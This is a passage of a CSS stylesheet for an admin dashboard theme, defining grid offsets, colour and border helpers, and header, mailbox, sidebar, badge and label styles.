91.66666667%;\n  }\n  .col-xlg-push-10 {\n    left: 83.33333333%;\n  }\n  .col-xlg-push-9 {\n    left: 75%;\n  }\n  .col-xlg-push-8 {\n    left: 66.66666667%;\n  }\n  .col-xlg-push-7 {\n    left: 58.33333333%;\n  }\n  .col-xlg-push-6 {\n    left: 50%;\n  }\n  .col-xlg-push-5 {\n    left: 41.66666667%;\n  }\n  .col-xlg-push-4 {\n    left: 33.33333333%;\n  }\n  .col-xlg-push-3 {\n    left: 25%;\n  }\n  .col-xlg-push-2 {\n    left: 16.66666667%;\n  }\n  .col-xlg-push-1 {\n    left: 8.33333333%;\n  }\n  .col-xlg-push-0 {\n    left: auto;\n  }\n  .offset-xlg-12 {\n    margin-left: 100%;\n  }\n  .offset-xlg-11 {\n    margin-left: 91.66666667%;\n  }\n  .offset-xlg-10 {\n    margin-left: 83.33333333%;\n  }\n  .offset-xlg-9 {\n    margin-left: 75%;\n  }\n  .offset-xlg-8 {\n    margin-left: 66.66666667%;\n  }\n  .offset-xlg-7 {\n    margin-left: 58.33333333%;\n  }\n  .offset-xlg-6 {\n    margin-left: 50%;\n  }\n  .offset-xlg-5 {\n    margin-left: 41.66666667%;\n  }\n  .offset-xlg-4 {\n    margin-left: 33.33333333%;\n  }\n  .offset-xlg-3 {\n    margin-left: 25%;\n  }\n  .offset-xlg-2 {\n    margin-left: 16.66666667%;\n  }\n  .offset-xlg-1 {\n    margin-left: 8.33333333%;\n  }\n  .offset-xlg-0 {\n    margin-left: 0;\n  }\n}\n.col-xlg-1,\n.col-xlg-10,\n.col-xlg-11,\n.col-xlg-12,\n.col-xlg-2,\n.col-xlg-3,\n.col-xlg-4,\n.col-xlg-5,\n.col-xlg-6,\n.col-xlg-7,\n.col-xlg-8,\n.col-xlg-9 {\n  position: relative;\n  min-height: 1px;\n  padding-right: 15px;\n  padding-left: 15px;\n}\n.input-group-addon [type=checkbox]:checked,\n.input-group-addon [type=checkbox]:not(:checked),\n.input-group-addon [type=radio]:checked,\n.input-group-addon [type=radio]:not(:checked) {\n  position: initial;\n  opacity: 1;\n}\n.invisible {\n  visibility: hidden !important;\n}\n.hidden-xs-up {\n  display: none !important;\n}\n@media (max-width: 575px) {\n  .hidden-xs-down {\n    display: none !important;\n  }\n}\n@media (min-width: 576px) {\n  .hidden-sm-up {\n    display: none !important;\n  }\n}\n@media (max-width: 767px) {\n  .hidden-sm-down {\n    display: none !important;\n  }\n}\n@media (min-width: 768px) {\n  .hidden-md-up {\n    display: none !important;\n  }\n}\n@media (max-width: 991px) {\n  .hidden-md-down {\n    display: none !important;\n  }\n}\n@media (min-width: 992px) {\n  .hidden-lg-up {\n    display: none !important;\n  }\n}\n@media (max-width: 1199px) {\n  .hidden-lg-down {\n    display: none !important;\n  }\n}\n@media (min-width: 1200px) {\n  .hidden-xl-up {\n    display: none !important;\n  }\n}\n.hidden-xl-down {\n  display: none !important;\n}\n@media (min-width: 1650px) {\n  .widget-app-columns {\n    -webkit-column-count: 3;\n    -moz-column-count: 3;\n    column-count: 3;\n  }\n  .campaign {\n    height: 365px !important;\n  }\n}\n@media (max-width: 1370px) {\n  .widget-app-columns {\n    -webkit-column-count: 2;\n    -moz-column-count: 2;\n    column-count: 2;\n  }\n}\na,\nbutton {\n  outline: none!important;\n  text-decoration: none!important;\n  color: #99abb4;\n  transition: all 0.2s ease 0s;\n}\na.active,\nbutton.active,\na:focus,\nbutton:focus,\na:hover,\nbutton:hover {\n  color: #252525;\n  outline: none!important;\n  text-decoration: none!important;\n}\nul {\n  padding: 0;\n  margin: 0;\n}\nli {\n  list-style: none;\n}\np {\n  font-family: 'Poppins', sans-serif;\n  color: #99abb4;\n}\n.h2,\n.h3,\n.h4,\n.h5,\n.h6,\nh1,\nh2,\nh3,\nh4,\nh5,\nh6.h1 {\n  color: #455a64;\n}\n.dib {\n  display: inline-block;\n}\n.rotate-90 {\n  transform: rotate(90deg);\n}\n.rotate-180 {\n  transform: rotate(180deg);\n}\n#main-content {\n  padding: 0 15px;\n}\n.alert h4 {\n  color: #455a64;\n}\n.border-none {\n  border: 1px solid transparent;\n}\n.footer > p {\n  background: #ffffff;\n  margin: 15px -30px 0;\n  padding: 15px 45px;\n  text-align: left;\n}\n.footer > p a {\n  color: #4680ff;\n}\n.bar-hidden {\n  overflow-X: hidden;\n}\n.color-white {\n  color: #ffffff;\n}\n.btn-btn {\n  padding: 15px 25px;\n  border: 0;\n}\n.btn-btn:hover {\n  color: #ffffff;\n}\n.letter-space {\n  letter-spacing: 1px;\n}\n.solid-btn {\n  padding: 15px 42px;\n}\n.notify {\n  position: relative;\n  right: -10px;\n  top: -13px;\n}\n.notify .heartbit {\n  animation: 1s ease-out 0s normal none infinite running heartbit;\n  border: 5px solid #4680ff;\n  border-radius: 70px;\n  height: 25px;\n  position: absolute;\n  right: -4px;\n  top: -20px;\n  width: 25px;\n  z-index: 10;\n}\n.notify .point {\n  background-color: #4680ff;\n  border-radius: 30px;\n  height: 6px;\n  position: absolute;\n  right: 6px;\n  top: -10px;\n  width: 6px;\n}\n@-moz-keyframes heartbit {\n  0% {\n    -moz-transform: scale(0);\n    opacity: 0.0;\n  }\n  25% {\n    -moz-transform: scale(0.1);\n    opacity: 0.1;\n  }\n  50% {\n    -moz-transform: scale(0.5);\n    opacity: 0.3;\n  }\n  75% {\n    -moz-transform: scale(0.8);\n    opacity: 0.5;\n  }\n  to {\n    -moz-transform: scale(1);\n    opacity: 0.0;\n  }\n}\n@-webkit-keyframes heartbit {\n  0% {\n    -webkit-transform: scale(0);\n    opacity: 0.0;\n  }\n  25% {\n    -webkit-transform: scale(0.1);\n    opacity: 0.1;\n  }\n  50% {\n    -webkit-transform: scale(0.5);\n    opacity: 0.3;\n  }\n  75% {\n    -webkit-transform: scale(0.8);\n    opacity: 0.5;\n  }\n  to {\n    -webkit-transform: scale(1);\n    opacity: 0.0;\n  }\n}\n/*    Color Mixins\n-------------------*/\n.color-primary,\n.text-primary {\n  color: #4680ff;\n}\n.color-success,\n.text-success {\n  color: #26dad2;\n}\n.color-info,\n.text-info {\n  color: #62d1f3;\n}\n.color-danger,\n.text-danger {\n  color: #fc6180;\n}\n.color-warning,\n.text-warning {\n  color: #ffb64d;\n}\n.color-pink,\n.text-pink {\n  color: #e6a1f2;\n}\n.color-dark,\n.text-dark {\n  color: #444c67;\n}\n.color-grey,\n.text-grey {\n  color: #ddd;\n}\n/*    Mixins\n--------------------------*/\n.pr {\n  position: relative;\n}\n.pa {\n  position: absolute;\n}\n/*    Background Mixins\n--------------------------*/\n.bg-primary {\n  background: #4680ff !important;\n  color: #ffffff;\n  fill: #4680ff;\n}\n.bg-success {\n  background: #26dad2 !important;\n  color: #ffffff;\n  fill: #26dad2;\n}\n.bg-info {\n  background: #62d1f3 !important;\n  color: #ffffff;\n  fill: #62d1f3;\n}\n.bg-danger {\n  background: #fc6180 !important;\n  color: #ffffff;\n  fill: #fc6180;\n}\n.bg-warning {\n  background: #ffb64d !important;\n  color: #ffffff;\n  fill: #ffb64d;\n}\n.bg-pink {\n  background: #e6a1f2 !important;\n  color: #ffffff;\n  fill: #e6a1f2;\n}\n.bg-dark {\n  background: #444c67 !important;\n  color: #ffffff;\n  fill: #444c67;\n}\n.bg-transparent {\n  background: transparent;\n  color: #252525;\n}\n.no-select-arrow {\n  -moz-appearance: none !important;\n  -webkit-appearance: none !important;\n  border: 1px solid #e7e7e7;\n}\n.bg-ash {\n  background: #f5f5f5;\n}\n.bg-white {\n  background: #ffffff;\n}\n/*    Border Mixins\n--------------------------*/\n.border-primary {\n  border-color: #4680ff;\n}\n.border-success {\n  border-color: #26dad2;\n}\n.border-info {\n  border-color: #62d1f3;\n}\n.border-danger {\n  border-color: #fc6180;\n}\n.border-warning {\n  border-color: #ffb64d;\n}\n.border-pink {\n  border-color: #e6a1f2;\n}\n.border-dark {\n  border-color: #444c67;\n}\n.no-border {\n  border: 0px!important;\n}\n.border-top {\n  border-top: 1px solid #e7e7e7;\n}\n.border-white {\n  border: 1px solid #ffffff;\n}\n.border-bottom {\n  border-bottom: 1px solid #e7e7e7;\n}\n.border-left {\n  border-left: 1px solid #e7e7e7;\n}\n.border-right {\n  border-right: 1px solid #e7e7e7;\n}\n.white-bottom {\n  border-bottom: 1px solid #ffffff;\n}\n.radius-0 {\n  border-radius: 0;\n}\n/*    Brand Background\n-----------------------------*/\n.bg-facebook {\n  background: #3b5998;\n  fill: #3b5998;\n}\n.bg-twitter {\n  background: #1da1f2;\n  fill: #1da1f2;\n}\n.bg-youtube {\n  background: #cd201f;\n  fill: #cd201f;\n}\n.bg-google-plus {\n  background: #dd4b39;\n  fill: #dd4b39;\n}\n.bg-linkedin {\n  background: #007bb6;\n}\n/*    width\n-----------------------------*/\n.w10pr {\n  width: 10%;\n}\n.w12pr {\n  width: 12%;\n}\n.p-28 {\n  padding: 28px;\n}\n.p-10 {\n  padding: 10px;\n}\n/*    Chart Spanrkline\n-------------------------*/\n.jqstooltip {\n  -webkit-box-sizing: content-box;\n  -moz-box-sizing: content-box;\n  box-sizing: content-box;\n}\n/*    Bootstrap class\n---------------------------*/\n@media (min-width: 1500px) {\n  .container {\n    width: 1400px;\n  }\n}\n@-webkit-keyframes rotate {\n  0% {\n    -webkit-transform: rotate(0deg);\n  }\n  to {\n    -webkit-transform: rotate(360deg);\n  }\n}\n@-moz-keyframes rotate {\n  0% {\n    -moz-transform: rotate(0deg);\n  }\n  to {\n    -moz-transform: rotate(360deg);\n  }\n}\n@keyframes rotate {\n  0% {\n    -webkit-transform: rotate(0deg);\n    transform: rotate(0deg);\n  }\n  to {\n    -webkit-transform: rotate(360deg);\n    transform: rotate(360deg);\n  }\n}\n@-moz-keyframes heartbit {\n  0% {\n    -moz-transform: scale(0);\n    opacity: 0.0;\n  }\n  25% {\n    -moz-transform: scale(0.1);\n    opacity: 0.1;\n  }\n  50% {\n    -moz-transform: scale(0.5);\n    opacity: 0.3;\n  }\n  75% {\n    -moz-transform: scale(0.8);\n    opacity: 0.5;\n  }\n  to {\n    -moz-transform: scale(1);\n    opacity: 0.0;\n  }\n}\n@-webkit-keyframes heartbit {\n  0% {\n    -webkit-transform: scale(0);\n    opacity: 0.0;\n  }\n  25% {\n    -webkit-transform: scale(0.1);\n    opacity: 0.1;\n  }\n  50% {\n    -webkit-transform: scale(0.5);\n    opacity: 0.3;\n  }\n  75% {\n    -webkit-transform: scale(0.8);\n    opacity: 0.5;\n  }\n  to {\n    -webkit-transform: scale(1);\n    opacity: 0.0;\n  }\n}\n.header {\n  position: relative;\n  z-index: 50;\n  background: #fff;\n  box-shadow: 1px 0 5px rgba(0, 0, 0, 0.1);\n}\n.header .top-navbar {\n  min-height: 50px;\n  padding: 0 15px 0 0;\n}\n.header .top-navbar .dropdown-toggle:after {\n  display: none;\n}\n.header .top-navbar .navbar-header {\n  line-height: 45px;\n  text-align: center;\n  background: #fff;\n}\n.header .top-navbar .navbar-header .navbar-brand {\n  margin-right: 0;\n  padding-bottom: 0;\n  padding-top: 0;\n}\n.header .top-navbar .navbar-header .navbar-brand .light-logo {\n  display: none;\n}\n.header .top-navbar .navbar-header .navbar-brand b {\n  line-height: 60px;\n  display: inline-block;\n}\n.header .top-navbar .navbar-nav > .nav-item > .nav-link {\n  padding-left: 0.75rem;\n  padding-right: 0.75rem;\n  font-size: 15px;\n  line-height: 40px;\n}\n.header .top-navbar .navbar-nav > .nav-item.show {\n  background: rgba(0, 0, 0, 0.05);\n}\n.header .top-navbar .mailbox {\n  width: 300px;\n}\n.header .top-navbar .mailbox ul {\n  padding: 0;\n}\n.header .top-navbar .mailbox ul li {\n  list-style: none;\n}\n.header .profile-pic {\n  width: 30px;\n  border-radius: 100%;\n}\n.header .dropdown-menu {\n  box-shadow: 0 3px 12px rgba(0, 0, 0, 0.05);\n  -webkit-box-shadow: 0 3px 12px rgba(0, 0, 0, 0.05);\n  -moz-box-shadow: 0 3px 12px rgba(0, 0, 0, 0.05);\n  border-color: rgba(120, 130, 140, 0.13);\n}\n.header .dropdown-menu .dropdown-item {\n  padding: 7px 1.5rem;\n}\n.header ul.dropdown-user {\n  padding: 0;\n  min-width: 175px;\n}\n.header ul.dropdown-user li {\n  list-style: none;\n  padding: 0;\n  margin: 0;\n}\n.header ul.dropdown-user li .dw-user-box {\n  padding: 10px 15px;\n}\n.header ul.dropdown-user li .dw-user-box .u-img {\n  width: 70px;\n  display: inline-block;\n  vertical-align: top;\n}\n.header ul.dropdown-user li .dw-user-box .u-img img {\n  width: 100%;\n  border-radius: 5px;\n}\n.header ul.dropdown-user li .dw-user-box .u-text {\n  display: inline-block;\n  padding-left: 10px;\n}\n.header ul.dropdown-user li .dw-user-box .u-text h4 {\n  margin: 0;\n  font-size: 15px;\n}\n.header ul.dropdown-user li .dw-user-box .u-text p {\n  margin-bottom: 2px;\n  font-size: 12px;\n}\n.header ul.dropdown-user li .dw-user-box .u-text .btn {\n  color: #ffffff;\n  padding: 5px 10px;\n  display: inline-block;\n}\n.header ul.dropdown-user li .dw-user-box .u-text .btn:hover {\n  background: #e6294b;\n}\n.header ul.dropdown-user li a {\n  padding: 9px 15px;\n  display: block;\n  color: #67757c;\n}\n.header ul.dropdown-user li a:hover {\n  background: #f2f4f8;\n  color: #1976d2;\n  text-decoration: none;\n}\n.header ul.dropdown-user li.divider {\n  height: 1px;\n  margin: 9px 0;\n  overflow: hidden;\n  background-color: rgba(120, 130, 140, 0.13);\n}\n.search-box .app-search {\n  position: absolute;\n  margin: 0;\n  display: block;\n  z-index: 110;\n  width: 100%;\n  top: -1px;\n  -webkit-box-shadow: 2px 0 10px rgba(0, 0, 0, 0.2);\n  box-shadow: 2px 0 10px rgba(0, 0, 0, 0.2);\n  display: none;\n  left: 0;\n}\n.search-box .app-search input {\n  width: 100.5%;\n  padding: 20px 40px 20px 20px;\n  border-radius: 0;\n  font-size: 17px;\n  height: 70px;\n  -webkit-transition: 0.5s ease-in;\n  -o-transition: 0.5s ease-in;\n  transition: 0.5s ease-in;\n}\n.search-box .app-search input:focus {\n  border-color: #ffffff;\n}\n.search-box .app-search .srh-btn {\n  position: absolute;\n  top: 23px;\n  cursor: pointer;\n  background: #ffffff;\n  width: 15px;\n  height: 15px;\n  right: 20px;\n  font-size: 14px;\n}\n.mini-sidebar .top-navbar .navbar-header {\n  width: 60px;\n  text-align: center;\n}\n.logo-center .top-navbar .navbar-header {\n  position: absolute;\n  left: 0;\n  right: 0;\n  margin: 0 auto;\n}\n.notify {\n  position: relative;\n  top: -22px;\n  right: -9px;\n}\n.notify .heartbit {\n  position: absolute;\n  top: -20px;\n  right: -4px;\n  height: 25px;\n  width: 25px;\n  z-index: 10;\n  border: 5px solid #ef5350;\n  border-radius: 70px;\n  -moz-animation: heartbit 1s ease-out;\n  -moz-animation-iteration-count: infinite;\n  -o-animation: heartbit 1s ease-out;\n  -o-animation-iteration-count: infinite;\n  -webkit-animation: heartbit 1s ease-out;\n  -webkit-animation-iteration-count: infinite;\n  animation-iteration-count: infinite;\n}\n.notify .point {\n  width: 6px;\n  height: 6px;\n  -webkit-border-radius: 30px;\n  -moz-border-radius: 30px;\n  border-radius: 30px;\n  background-color: #ef5350;\n  position: absolute;\n  right: 6px;\n  top: -10px;\n}\n.fileupload {\n  overflow: hidden;\n  position: relative;\n}\n.fileupload input.upload {\n  cursor: pointer;\n  filter: alpha(opacity=0);\n  font-size: 20px;\n  margin: 0;\n  opacity: 0;\n  padding: 0;\n  position: absolute;\n  right: 0;\n  top: 0;\n}\n.mega-dropdown {\n  position: static;\n  width: 100%;\n}\n.mega-dropdown .dropdown-menu {\n  width: 100%;\n  padding: 30px;\n  margin-top: 0;\n}\n.mega-dropdown ul {\n  padding: 0;\n}\n.mega-dropdown ul li {\n  list-style: none;\n}\n.mega-dropdown .carousel-item .container {\n  padding: 0;\n}\n.mega-dropdown .nav-accordion .card {\n  margin-bottom: 1px;\n}\n.mega-dropdown .nav-accordion .card-header {\n  background: #ffffff;\n}\n.mega-dropdown .nav-accordion .card-header h5 {\n  margin: 0;\n}\n.mega-dropdown .nav-accordion .card-header h5 a {\n  text-decoration: none;\n  color: #67757c;\n}\nul.list-style-none {\n  margin: 0;\n  padding: 0;\n}\nul.list-style-none li {\n  list-style: none;\n}\nul.list-style-none li a {\n  color: #67757c;\n  padding: 8px 0;\n  display: block;\n  text-decoration: none;\n}\nul.list-style-none li a:hover {\n  color: #1976d2;\n}\n.dropdown-item {\n  padding: 8px 1rem;\n  color: #67757c;\n}\n.custom-select {\n  background: url(\"../../assets/images/custom-select.png\") right 0.75rem center no-repeat;\n}\ntextarea {\n  resize: none;\n}\n.mailbox ul li .drop-title {\n  font-weight: 500;\n  padding: 11px 20px 15px;\n  border-bottom: 1px solid rgba(120, 130, 140, 0.13);\n}\n.mailbox ul li .nav-link {\n  border-top: 1px solid rgba(120, 130, 140, 0.13);\n  padding-top: 15px;\n}\n.mailbox .message-center {\n  height: 200px;\n  overflow: auto;\n  position: relative;\n}\n.mailbox .message-center a {\n  border-bottom: 1px solid rgba(120, 130, 140, 0.13);\n  display: block;\n  text-decoration: none;\n  padding: 9px 15px;\n}\n.mailbox .message-center a:hover {\n  background: #f2f4f8;\n}\n.mailbox .message-center a div {\n  white-space: normal;\n}\n.mailbox .message-center a .user-img {\n  width: 40px;\n  position: relative;\n  display: inline-block;\n  margin: 0 10px 15px 0;\n}\n.mailbox .message-center a .user-img img {\n  width: 100%;\n}\n.mailbox .message-center a .user-img .profile-status {\n  border: 2px solid #ffffff;\n  border-radius: 50%;\n  display: inline-block;\n  height: 10px;\n  left: 30px;\n  position: absolute;\n  top: 1px;\n  width: 10px;\n}\n.mailbox .message-center a .user-img .online {\n  background: #26dad2;\n}\n.mailbox .message-center a .user-img .busy {\n  background: #ef5350;\n}\n.mailbox .message-center a .user-img .away {\n  background: #ffb22b;\n}\n.mailbox .message-center a .user-img .offline {\n  background: #ffb22b;\n}\n.mailbox .message-center a .mail-contnet {\n  display: inline-block;\n  width: 75%;\n  vertical-align: middle;\n}\n.mailbox .message-center a .mail-contnet h5 {\n  margin: 5px 0 0;\n}\n.mailbox .message-center a .mail-contnet .mail-desc {\n  font-size: 12px;\n  display: block;\n  margin: 1px 0;\n  -o-text-overflow: ellipsis;\n  text-overflow: ellipsis;\n  overflow: hidden;\n  color: #67757c;\n  white-space: nowrap;\n}\n.mailbox .message-center a .mail-contnet .time {\n  font-size: 12px;\n  display: block;\n  margin: 1px 0;\n  -o-text-overflow: ellipsis;\n  text-overflow: ellipsis;\n  overflow: hidden;\n  color: #67757c;\n  white-space: nowrap;\n}\n@media (min-width: 768px) {\n  .navbar-header {\n    width: 240px;\n    -webkit-flex-shrink: 0;\n    -ms-flex-negative: 0;\n    flex-shrink: 0;\n  }\n  .navbar-header .navbar-brand {\n    padding-top: 0;\n  }\n  .page-titles .breadcrumb {\n    float: right;\n  }\n  .card-group .card:first-child {\n    border-right: 1px solid rgba(0, 0, 0, 0.03);\n  }\n  .card-group .card:not(:first-child):not(:last-child) {\n    border-right: 1px solid rgba(0, 0, 0, 0.03);\n  }\n  .material-icon-list-demo .icons div {\n    width: 33%;\n    padding: 15px;\n    display: inline-block;\n    line-height: 40px;\n  }\n  .mini-sidebar .page-wrapper {\n    margin-left: 60px;\n  }\n  .mini-sidebar .footer {\n    left: 60px;\n  }\n  .flex-wrap {\n    -ms-flex-wrap: nowrap !important;\n    flex-wrap: nowrap !important;\n    -webkit-flex-wrap: nowrap !important;\n  }\n}\n@media (max-width: 767px) {\n  .header {\n    position: fixed;\n    width: 100%;\n  }\n  .header .top-navbar {\n    padding-right: 15px;\n    -webkit-box-orient: horizontal;\n    -webkit-box-direction: normal;\n    -webkit-flex-direction: row;\n    -ms-flex-direction: row;\n    flex-direction: row;\n    -webkit-flex-wrap: nowrap;\n    -ms-flex-wrap: nowrap;\n    flex-wrap: nowrap;\n    -webkit-align-items: center;\n  }\n  .header .top-navbar .navbar-collapse {\n    display: -webkit-box;\n    display: -webkit-flex;\n    display: -ms-flexbox;\n    display: flex;\n    width: 100%;\n  }\n  .header .top-navbar .navbar-nav {\n    -webkit-box-orient: horizontal;\n    -webkit-box-direction: normal;\n    -webkit-flex-direction: row;\n    -ms-flex-direction: row;\n    flex-direction: row;\n  }\n  .header .top-navbar .navbar-nav > .nav-item.show {\n    position: static;\n  }\n  .header .top-navbar .navbar-nav > .nav-item.show .dropdown-menu {\n    width: 100%;\n    margin-top: 0;\n  }\n  .header .top-navbar .navbar-nav > .nav-item > .nav-link {\n    padding-left: 0.50rem;\n    padding-right: 0.50rem;\n  }\n  .header .top-navbar .navbar-nav .dropdown-menu {\n    position: absolute;\n  }\n  .mega-dropdown .dropdown-menu {\n    height: 480px;\n    overflow: auto;\n  }\n  .mini-sidebar .page-wrapper {\n    margin-left: 0;\n    padding-top: 60px;\n  }\n}\n.left-sidebar {\n  position: absolute;\n  width: 240px;\n  height: 100%;\n  top: 0;\n  z-index: 20;\n  padding-top: 60px;\n  background: #fff;\n  -webkit-box-shadow: 1px 0 20px rgba(0, 0, 0, 0.08);\n  box-shadow: 1px 0 20px rgba(0, 0, 0, 0.08);\n}\n.fix-sidebar .left-sidebar {\n  position: fixed;\n}\n.sidebar-footer {\n  position: fixed;\n  z-index: 10;\n  bottom: 0;\n  left: 0;\n  -webkit-transition: 0.2s ease-out;\n  -o-transition: 0.2s ease-out;\n  transition: 0.2s ease-out;\n  width: 240px;\n  background: #fff;\n  border-top: 1px solid rgba(120, 130, 140, 0.13);\n}\n.sidebar-footer a {\n  padding: 15px;\n  width: 33.333337%;\n  float: left;\n  text-align: center;\n  font-size: 18px;\n}\n.scroll-sidebar {\n  padding-bottom: 60px;\n}\n.collapse.in {\n  display: block;\n}\n.sidebar-nav {\n  background: #fff;\n  padding: 0;\n}\n.sidebar-nav ul {\n  margin: 0;\n  padding: 0;\n}\n.sidebar-nav ul li {\n  list-style: none;\n}\n.sidebar-nav ul li a {\n  color: #607d8b;\n  padding: 7px 35px 7px 15px;\n  display: block;\n  font-size: 14px;\n  white-space: nowrap;\n}\n.sidebar-nav ul li a:hover {\n  color: #1976d2;\n}\n.sidebar-nav ul li a:hover i {\n  color: #1976d2;\n}\n.sidebar-nav ul li a.active {\n  color: #1976d2;\n  font-weight: 500;\n}\n.sidebar-nav ul li a.active i {\n  color: #1976d2;\n}\n.sidebar-nav ul li ul {\n  padding-left: 28px;\n}\n.sidebar-nav ul li ul li a {\n  padding: 7px 35px 7px 15px;\n}\n.sidebar-nav ul li ul ul {\n  padding-left: 15px;\n}\n.sidebar-nav ul li.nav-label {\n  font-size: 12px;\n  margin-bottom: 0;\n  padding: 14px 14px 14px 20px;\n  color: #607d8b;\n  font-weight: 600;\n  text-transform: uppercase;\n}\n.sidebar-nav ul li.nav-devider {\n  height: 1px;\n  background: rgba(120, 130, 140, 0.13);\n  display: block;\n}\n.sidebar-nav > ul > li {\n  margin-bottom: 5px;\n}\n.sidebar-nav > ul > li > a {\n  border-left: 3px solid transparent;\n}\n.sidebar-nav > ul > li > a i {\n  width: 27px;\n  font-size: 16px;\n  display: inline-block;\n  vertical-align: middle;\n  color: #99abb4;\n}\n.sidebar-nav > ul > li > a .label {\n  position: absolute;\n  right: 35px;\n  top: 8px;\n}\n.sidebar-nav > ul > li > a.active {\n  font-weight: 400;\n  background: #fff;\n  color: #1976d2;\n}\n.sidebar-nav > ul > li.active > a {\n  color: #1976d2;\n  font-weight: 500;\n  border-left: 3px solid #fff;\n}\n.sidebar-nav > ul > li.active > a i {\n  color: #1976d2;\n}\n.sidebar-nav .has-arrow {\n  position: relative;\n}\n.sidebar-nav .has-arrow:after {\n  position: absolute;\n  content: '';\n  width: 7px;\n  height: 7px;\n  border-width: 1px 0 0 1px;\n  border-style: solid;\n  border-color: #607d8b;\n  right: 1em;\n  -webkit-transform: rotate(135deg) translate(0, -50%);\n  -ms-transform: rotate(135deg) translate(0, -50%);\n  -o-transform: rotate(135deg) translate(0, -50%);\n  transform: rotate(135deg) translate(0, -50%);\n  -webkit-transform-origin: top;\n  -ms-transform-origin: top;\n  -o-transform-origin: top;\n  transform-origin: top;\n  top: 47%;\n  -webkit-transition: all 0.3s ease-out;\n  -o-transition: all 0.3s ease-out;\n  transition: all 0.3s ease-out;\n}\n.sidebar-nav .active > .has-arrow:after {\n  -webkit-transform: rotate(-135deg) translate(0, -50%);\n  -ms-transform: rotate(-135deg) translate(0, -50%);\n  -o-transform: rotate(-135deg) translate(0, -50%);\n  top: 45%;\n  width: 7px;\n  transform: rotate(-135deg) translate(0, -50%);\n}\n.sidebar-nav .has-arrow[aria-expanded=true]:after {\n  -webkit-transform: rotate(-135deg) translate(0, -50%);\n  -ms-transform: rotate(-135deg) translate(0, -50%);\n  -o-transform: rotate(-135deg) translate(0, -50%);\n  top: 45%;\n  width: 7px;\n  transform: rotate(-135deg) translate(0, -50%);\n}\n.sidebar-nav li > .has-arrow.active:after {\n  -webkit-transform: rotate(-135deg) translate(0, -50%);\n  -ms-transform: rotate(-135deg) translate(0, -50%);\n  -o-transform: rotate(-135deg) translate(0, -50%);\n  top: 45%;\n  width: 7px;\n  transform: rotate(-135deg) translate(0, -50%);\n}\n@media (min-width: 768px) {\n  .mini-sidebar .sidebar-nav {\n    background: transparent;\n  }\n  .mini-sidebar .sidebar-nav #sidebarnav li {\n    position: relative;\n  }\n  .mini-sidebar .sidebar-nav #sidebarnav > li > ul {\n    position: absolute;\n    left: 60px;\n    top: 38px;\n    width: 200px;\n    z-index: 1001;\n    background: #f2f6f8;\n    display: none;\n    padding-left: 1px;\n  }\n  .mini-sidebar .sidebar-nav #sidebarnav > li:hover > ul {\n    height: auto !important;\n    overflow: auto;\n    display: block;\n  }\n  .mini-sidebar .sidebar-nav #sidebarnav > li:hover > ul.collapse {\n    display: block;\n  }\n  .mini-sidebar .sidebar-nav #sidebarnav > li:hover > a {\n    width: 260px;\n    background: #f2f6f8;\n  }\n  .mini-sidebar .sidebar-nav #sidebarnav > li:hover > a .hide-menu {\n    display: inline;\n  }\n  .mini-sidebar .sidebar-nav #sidebarnav > li:hover > a .label {\n    display: none;\n  }\n  .mini-sidebar .sidebar-nav #sidebarnav > li > a.has-arrow:after {\n    display: none;\n  }\n  .mini-sidebar .sidebar-nav #sidebarnav > li > a {\n    padding: 9px 18px;\n    width: 50px;\n  }\n  .mini-sidebar .user-profile {\n    padding-bottom: 15px;\n    width: 60px;\n    margin-bottom: 7px;\n  }\n  .mini-sidebar .user-profile .profile-img {\n    width: 50px;\n    padding: 15px 0 0;\n    margin: 0 0 0 6px;\n  }\n  .mini-sidebar .user-profile .profile-img .setpos {\n    top: -35px;\n  }\n  .mini-sidebar .user-profile .profile-img:before {\n    top: 15px;\n  }\n  .mini-sidebar .user-profile .profile-text {\n    display: none;\n  }\n  .mini-sidebar .left-sidebar {\n    width: 60px;\n  }\n  .mini-sidebar .scroll-sidebar {\n    padding-bottom: 0;\n    position: absolute;\n    overflow-x: hidden !important;\n  }\n  .mini-sidebar .hide-menu {\n    display: none;\n  }\n  .mini-sidebar .nav-label {\n    display: none;\n  }\n  .mini-sidebar .sidebar-footer {\n    display: none;\n  }\n  .mini-sidebar > .label {\n    display: none;\n  }\n  .mini-sidebar .nav-devider {\n    width: 60px;\n  }\n  .mini-sidebar.fix-sidebar .left-sidebar {\n    position: fixed;\n  }\n}\n@media (max-width: 767px) {\n  .mini-sidebar .left-sidebar {\n    position: fixed;\n    left: -240px;\n  }\n  .mini-sidebar .sidebar-footer {\n    left: -240px;\n  }\n  .mini-sidebar.show-sidebar .left-sidebar {\n    left: 0;\n  }\n  .mini-sidebar.show-sidebar .sidebar-footer {\n    left: 0;\n  }\n}\n.badge {\n  font-weight: 400;\n}\n.badge-xs {\n  font-size: 9px;\n  -webkit-transform: translate(0, -2px);\n  -ms-transform: translate(0, -2px);\n  -o-transform: translate(0, -2px);\n  transform: translate(0, -2px);\n}\n.badge-sm {\n  -webkit-transform: translate(0, -2px);\n  -ms-transform: translate(0, -2px);\n  -o-transform: translate(0, -2px);\n  transform: translate(0, -2px);\n}\n.badge-success {\n  background-color: #26dad2;\n}\n.badge-info {\n  background-color: #1976d2;\n}\n.badge-primary {\n  background-color: #5c4ac7;\n}\n.badge-warning {\n  background-color: #ffb22b;\n}\n.badge-danger {\n  background-color: #ef5350;\n}\n.badge-purple {\n  background-color: #7460ee;\n}\n.badge-red {\n  background-color: #fb3a3a;\n}\n.badge-inverse {\n  background-color: #2f3d4a;\n}\n.label {\n  padding: 3px 10px;\n  line-height: 13px;\n  color: #ffffff;\n  font-weight: 400;\n  border-radius: 4px;\n  font-size: 75%;\n}\n.label-rounded {\n  border-radius: 60px;\n}\n.label-custom {\n  background-color: #00897b;\n}\n.label-success {\n  background-color: #26dad2;\n}\n.label-info {\n  background-color: #1976d2;\n}\n.label-warning {\n  background-color: #ffb22b;\n}\n.label-danger {\n  background-color: #ef5350;\n}\n.label-megna {\n  background-color: #00897b;\n}\n.label-primary {\n  background-color: #5c4ac7;\n}\n.label-purple {\n  background-color: #7460ee;\n}\n.label-red {\n  background-color: #fb3a3a;\n}\n.label-inverse {\n  background-color: #2f3d4a;\n}\n.label-default {\n  background-color: #f2f4f8;\n}\n.label-white {\n  background-color: #ffffff;\n}\n.label-light-success {\n  background-color: #e8fdeb;\n  color: #26dad2;\n}\n.label-light-info {\n  background-color: #cfecfe;\n  color: #1976d2;\n}\n.label-light-warning {\n  background-color: #fff8ec;\n  color: #ffb22b;\n}\n.label-light-danger {\n  background-color: #f9e7eb;\n  color: #ef5350;\n}\n.label-light-megna {\n  background-color: #e0f2f4;\n  color: #00897b;\n}\n.label-light-primary {\n  background-color: 